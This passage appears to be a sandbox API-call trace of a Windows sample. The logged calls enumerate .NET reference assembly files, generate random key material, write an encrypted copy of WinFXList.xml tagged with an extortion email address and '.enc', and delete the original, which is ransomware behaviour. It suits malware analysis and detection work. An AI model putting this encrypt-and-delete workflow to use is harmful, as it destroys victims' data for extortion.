(lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll")) returned 0x20 [0229.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0229.644] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881228, Size=0x20) returned 0x33ea918 [0229.644] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Luna.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.luna.dll")) returned 0x20 [0229.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0229.646] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Royale.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.royale.dll")) returned 0x20 [0229.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0229.647] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\ReachFramework.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\reachframework.dll")) returned 0x20 [0229.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0229.647] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist")) returned 0x10 [0229.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0229.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0229.647] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist")) returned 0x10 [0229.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0229.648] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.identitymodel.dll")) returned 0x20 [0229.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0229.649] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea918, Size=0x40) returned 0x3887530 [0229.649] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.Selectors.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.identitymodel.selectors.dll")) returned 0x20 [0229.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0229.651] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IO.Log.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.io.log.dll")) returned 0x20 [0229.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa28b8 | out: hHeap=0x2ad0000) returned 1 [0229.651] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Printing.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.printing.dll")) returned 0x20 [0229.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0229.667] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Runtime.Serialization.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.runtime.serialization.dll")) returned 0x20 [0229.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0229.668] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll")) returned 0x20 [0229.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0229.668] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Speech.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.speech.dll")) returned 0x20 [0229.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0229.669] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Activities.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.activities.dll")) returned 0x20 [0229.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0229.669] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.ComponentModel.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.componentmodel.dll")) returned 0x20 [0229.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0229.670] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887530, Size=0x64) returned 0x2a19428 [0229.670] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Runtime.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.runtime.dll")) returned 0x20 [0229.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0229.671] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClient.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationclient.dll")) returned 0x20 [0229.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0229.672] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClientsideProviders.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationclientsideproviders.dll")) returned 0x20 [0229.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea400 | out: hHeap=0x2ad0000) returned 1 [0229.672] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationProvider.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationprovider.dll")) returned 0x20 [0229.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0229.673] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationTypes.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationtypes.dll")) returned 0x20 [0229.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0229.673] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsBase.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\windowsbase.dll")) returned 0x20 [0229.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0229.674] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsFormsIntegration.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\windowsformsintegration.dll")) returned 0x20 [0229.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0229.677] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml")) returned 0x20 [0229.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0229.680] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationBuildTasks.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationBuildTasks.dll", lpFilePart=0x9bada4*="PresentationBuildTasks.dll") returned 0x5f [0229.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0229.680] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll", lpFilePart=0x9bada4*="PresentationCore.dll") returned 0x59 [0229.680] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Aero.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Aero.dll", lpFilePart=0x9bada4*="PresentationFramework.Aero.dll") returned 0x63 [0229.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0229.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0229.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0229.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0229.681] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Classic.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Classic.dll", lpFilePart=0x9bada4*="PresentationFramework.Classic.dll") returned 0x66 [0229.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.681] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll", lpFilePart=0x9bada4*="PresentationFramework.dll") returned 0x5e [0229.681] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Luna.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Luna.dll", lpFilePart=0x9bada4*="PresentationFramework.Luna.dll") returned 0x63 [0229.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.681] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Royale.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Royale.dll", lpFilePart=0x9bada4*="PresentationFramework.Royale.dll") returned 0x65 [0229.682] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\ReachFramework.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\ReachFramework.dll", lpFilePart=0x9bada4*="ReachFramework.dll") returned 0x57 [0229.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0229.682] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.dll", lpFilePart=0x9bada4*="System.IdentityModel.dll") returned 0x5d [0229.682] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.Selectors.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.Selectors.dll", lpFilePart=0x9bada4*="System.IdentityModel.Selectors.dll") returned 0x67 [0229.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0229.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0229.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0229.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0229.683] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IO.Log.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IO.Log.dll", lpFilePart=0x9bada4*="System.IO.Log.dll") returned 0x56 [0229.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0229.683] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Printing.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Printing.dll", lpFilePart=0x9bada4*="System.Printing.dll") returned 0x58 [0229.683] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Runtime.Serialization.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Runtime.Serialization.dll", lpFilePart=0x9bada4*="System.Runtime.Serialization.dll") returned 0x65 [0229.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0229.683] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll", lpFilePart=0x9bada4*="System.ServiceModel.dll") returned 0x5c [0229.683] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Speech.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Speech.dll", lpFilePart=0x9bada4*="System.Speech.dll") returned 0x56 [0229.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.684] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Activities.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Activities.dll", lpFilePart=0x9bada4*="System.Workflow.Activities.dll") returned 0x63 [0229.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0229.684] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.ComponentModel.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.ComponentModel.dll", lpFilePart=0x9bada4*="System.Workflow.ComponentModel.dll") returned 0x67 [0229.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0229.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0229.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0229.685] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Runtime.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Runtime.dll", lpFilePart=0x9bada4*="System.Workflow.Runtime.dll") returned 0x60 [0229.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0229.685] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClient.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClient.dll", lpFilePart=0x9bada4*="UIAutomationClient.dll") returned 0x5b [0229.685] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClientsideProviders.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClientsideProviders.dll", lpFilePart=0x9bada4*="UIAutomationClientsideProviders.dll") returned 0x68 [0229.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.685] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationProvider.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationProvider.dll", lpFilePart=0x9bada4*="UIAutomationProvider.dll") returned 0x5d [0229.686] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationTypes.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationTypes.dll", lpFilePart=0x9bada4*="UIAutomationTypes.dll") returned 0x5a [0229.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0229.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0229.686] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsBase.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsBase.dll", lpFilePart=0x9bada4*="WindowsBase.dll") returned 0x54 [0229.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0229.686] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsFormsIntegration.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsFormsIntegration.dll", lpFilePart=0x9bada4*="WindowsFormsIntegration.dll") returned 0x60 [0229.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0229.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0229.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0229.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0229.687] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x9bada4*="WinFXList.xml") returned 0x52 [0229.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0229.687] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b6abb1, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x6fe4d983, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6fe4d983, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0xa12)) returned 1 [0229.687] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671dcc | out: pbBuffer=0x3671dcc) returned 1 [0229.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0229.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0229.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0229.688] CreateFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.688] GetFileType (hFile=0x334) returned 0x1 [0229.689] GetFileType (hFile=0x334) returned 0x1 [0229.689] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.689] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.689] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.689] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.689] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.689] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.689] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.689] CreateFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.691] GetFileType (hFile=0x39c) returned 0x1 [0229.691] GetFileType (hFile=0x39c) returned 0x1 [0229.691] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.691] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.691] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.692] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.692] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.692] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.692] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.694] CloseHandle (hObject=0x39c) returned 1 [0229.695] CloseHandle (hObject=0x334) returned 1 [0229.695] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml")) returned 1 [0229.696] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, 